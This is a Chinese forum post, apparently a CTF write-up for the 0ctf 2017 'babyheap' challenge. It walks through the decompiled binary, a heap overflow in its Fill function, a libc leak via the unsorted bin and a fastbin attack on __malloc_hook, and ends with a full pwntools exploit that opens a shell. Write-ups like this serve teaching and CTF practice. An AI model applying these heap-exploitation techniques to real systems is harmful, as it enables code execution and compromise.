前言
新注册的论坛账号,我目前在做ctf pwn和reverse,未来打算做android和iot,在吾爱这边准备更新一些实战记录和一些比赛的wp。
本题知识点我在这里有写 : https://bbs.kanxue.com/thread-277530.htm
0ctf2017:babyheap
检查文件信息
1
2
elf64小端序程序,保护全开。
修改rpath
检测到编译环境为GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
3
所以修改rpath为glibc2.23
4
试运行
5
逆向分析
//分配堆块函数
char *sub_B70()
{
int fd; // [rsp+4h] [rbp-3Ch]
char *addr; // [rsp+8h] [rbp-38h]
unsigned __int64 v3; // [rsp+10h] [rbp-30h]
__int64 buf[4]; // [rsp+20h] [rbp-20h] BYREF
buf[3] = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
alarm(0x3Cu);
puts("===== Baby Heap in 2017 =====");
fd = open("/dev/urandom", 0);
if ( fd < 0 || read(fd, buf, 0x10uLL) != 16 )
exit(-1);
close(fd);
addr = (char *)((buf[0] % 0x555555543000uLL + 0x10000) & 0xFFFFFFFFFFFFF000LL);
v3 = (buf[1] % 0xE80uLL) & 0xFFFFFFFFFFFFFFF0LL;
if ( mmap(addr, 0x1000uLL, 3, 34, -1, 0LL) != addr )
exit(-1);
return &addr[v3];
}
//返回数据被main里的a1接收。
//Allocate函数
void __fastcall Allocate(__int64 a1)
{
int i; // [rsp+10h] [rbp-10h]
int v2; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]
for ( i = 0; i <= 15; ++i )
{
if ( !*(_DWORD *)(24LL * i + a1) )
{
printf("Size: ");
v2 = sub_138C();
if ( v2 > 0 )
{
if ( v2 > 4096 )
v2 = 4096;
v3 = calloc(v2, 1uLL);//堆块内容初始化为1
if ( !v3 )
exit(-1);
*(_DWORD *)(24LL * i + a1) = 1; //标记是否使用
*(_QWORD *)(a1 + 24LL * i + 8) = v2;//标记大小Size
*(_QWORD *)(a1 + 24LL * i + 16) = v3;//堆块地址
printf("Allocate Index %d\n", (unsigned int)i);
}
return;
}
}
}
//结构体如下
struct Heap {
double in_use;
double size;
void *heap;
};
//Fill函数
__int64 __fastcall Fill(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = sub_138C();
v2 = result; //序号
if ( (unsigned int)result <= 0xF ) //0~15
{
result = *(unsigned int *)(24LL * (int)result + a1);//结构体大小为24bit,在a1这个mmap块分配的。如此寻对应序号的Heap结构体。
if ( (_DWORD)result == 1 )//检查in_use
{
printf("Size: ");
result = sub_138C();
v3 = result;
if ( (int)result > 0 )//存在堆溢出漏洞
{
printf("Content: ");
return sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);//分配的heap在结构体偏移16的位置。
}
}
}
return result;
}
//Free函数
__int64 __fastcall Free(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = sub_138C();
v2 = result;
if ( (unsigned int)result <= 0xF )
{
result = *(unsigned int *)(24LL * (int)result + a1);
if ( (_DWORD)result == 1 )
{
*(_DWORD *)(24LL * v2 + a1) = 0;//in_use=0
*(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;//size=0
free(*(void **)(24LL * v2 + a1 + 16));
result = 24LL * v2 + a1;
*(_QWORD *)(result + 16) = 0LL;//chunk置零
}
}
return result;
}
//Dump函数
int __fastcall Dump(__int64 a1)
{
int result; // eax
int v2; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = sub_138C();
v2 = result;
if ( (unsigned int)result <= 0xF )
{
result = *(_DWORD *)(24LL * result + a1);
if ( result == 1 )
{
puts("Content: ");
sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));//打印堆块size大小的内容
return puts(byte_14F1);
}
}
return result;
}
漏洞利用
1.泄露libc基址
首先申请5个0x71大小的堆块,对应序号为0,1,2,3,4。和一个0x21大小的堆块来阻隔top_chunk。
利用堆溢出修改chunk0时将chunk1的size修改为0x91,chunk1覆盖到chunk2的bk位置,将chunk2分割出0x51大小的堆块。
修改后结构如下
6
查看此时heap结构
7
此时free(1)将会把chunk1_0x91放进unsorted_bin。
8
再次申请0x68大小的空间将会从unsorted_bin分割0x71大小的堆块,并由Heap[1]管理。那么chunk2头部0x20大小的空间将留在unsorted_bin,由于并没有将chunk2给free掉,所以chunk2_fd,chunk2_bk被修改为了栈地址(这题时main_arena++88),此时输出chunk2内容即可获取一个栈地址。
9
此时堆结构
10
得到这个站地址后,可以计算他和libc基址的固定偏移
libc基址地址。
11
固定偏移
12
通过劫持__malloc_hook地址来执行one_gadget
首先将chunk4放入fastbin,然后通过堆溢出利用chunk3修改chunk4的fd指针来将包含malloc_hook真实地址的fake_fast链接进fastbins。
包含malloc_hook的fake_fast
13
修改后chunk结构
14
fastbin结构
15
再次申请两次就可将fake_fast申请出来,并且fast_fast由Heap[6]管理。
此时将__malloc_hook地址改为one_gadget地址,随意申请一个堆块就可getshell。
不难计算fake_fast的用户区0x13位置就是__malloc_hook地址。
16
然后随意申请一个堆块就可getshell
17
完整exp
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h' ]
is_local = True
is_debug = True
if is_debug:
context.log_level = 'debug'
else:
context.log_level = 'info'
def connect():
global r, elf, libc
if is_local:
r = process('./babyheap_0ctf_2017')
else:
r = remote('IP', port)
elf = ELF('./babyheap_0ctf_2017')
libc = ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def debug(gdbscript=""):
if is_debug:
gdb.attach(r, gdbscript=gdbscript)
pause()
else:
pass
def alloc(size):
r.recvuntil(b'Command:')
r.sendline(b'1')
r.recvuntil(b'Size:')
r.sendline(str(size).encode())
def fill(index,size,content):
r.recvuntil(b'Command:')
r.sendline(b'2')
r.recvuntil(b'Index:')
r.sendline(str(index).encode())
r.recvuntil(b'Size:')
r.sendline(str(size).encode())
r.recvuntil(b'Content:')
r.send(content)
def free(index):
r.recvuntil(b'Command:')
r.sendline(b'3')
r.recvuntil(b'Index:')
r.sendline(str(index).encode())
def dump(index):
r.recvuntil(b'Command:')
r.sendline(b'4')
r.recvuntil(b'Index:')
r.sendline(str(index).encode())
def leak_libc():
global libc_addr
alloc(0x68) # 0
alloc(0x68) # 1
alloc(0x68) # 2
alloc(0x68) # 3
alloc(0x68) # 4
alloc(0x18) # 5
#debug()
fill(0, 0x70, b'a'*0x68 + p64(0x91))
fill(2, 0x20, b'\x00'*0x18 + p64(0x51))
#debug()
free(1)
#debug()
alloc(0x68) # 1
#debug()
dump(2)
r.recvuntil(b'\n')
libc_addr = u64(r.recv(8))-0x3c4b78
log.info("main_arena:"+hex(libc_addr+0x3c4b78))
log.success('libc_addr:'+hex(libc_addr))
def get_shell():
#debug()
free(4)
fill(3,0x78,b'a'*0x68+p64(0x71)+p64(libc_addr+libc.sym['__malloc_hook']-0x23))
#debug()
alloc(0x68) # 4
alloc(0x68) # 6
fill(6,27,cyclic(19)+p64(libc_addr+0x4527a))
debug()
alloc(0x30)
r.interactive()
def pwn():
connect()
leak_libc()
get_shell()
if __name__=='__main__':
pwn()